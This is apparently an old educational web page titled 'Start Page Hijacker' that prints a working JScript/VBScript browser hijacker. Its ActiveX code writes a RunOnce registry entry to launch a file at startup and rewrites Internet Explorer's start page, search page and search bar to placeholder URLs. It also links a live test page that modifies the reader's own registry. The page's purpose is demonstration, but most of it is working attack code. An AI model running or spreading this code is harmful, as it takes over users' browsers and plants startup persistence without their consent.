In general, I've changed the urls in the code so that specific sites can not be identified.
Start Page Hijacker
I'm not sure if this is javascript or vbScript - they both allow this. The difference is whether or not there should be 1 or 2 backslashes in the registry paths.
var url = "http://someURL.com/startpage.html";
var burl = "http://someURL.com/SearchBar.html";
var fso = new ActiveXObject("Scripting.FileSystemObject");
var tfolder = fso.GetSpecialFolder(0);
var filepath = tfolder + "exe or js filename";
var Shell = new ActiveXObject("WScript.Shell");
Shell.RegWrite("HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce\xxx",filepath);
Shell.RegWrite("HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",url);
Shell.RegWrite("HKCU\Software\Microsoft\Internet Explorer\Main\Search Page",url);
Shell.RegWrite("HKCU\Software\Microsoft\Internet Explorer\Main\Search Bar",burl);
Shell.RegWrite("HKCU\Software\Microsoft\Internet Explorer\Main\Use Search Asst","no");
Shell.RegWrite("HKCU\Software\Microsoft\Internet Explorer\Main\Use Custom Search URL",
1,"REG_DWORD");
I have provided a simple browser hijacker to demonstrate how easy this is.
Before you try it, please use
Tools / Internet Options... / Home page
to copy your current home page url to the clipboard and then paste
it somewhere so that you don't loose it - you've been warned.
Waning: Clicking this link opens a page that modifies YOUR registry - Javascript_virus_test
Can't Close Web Page
References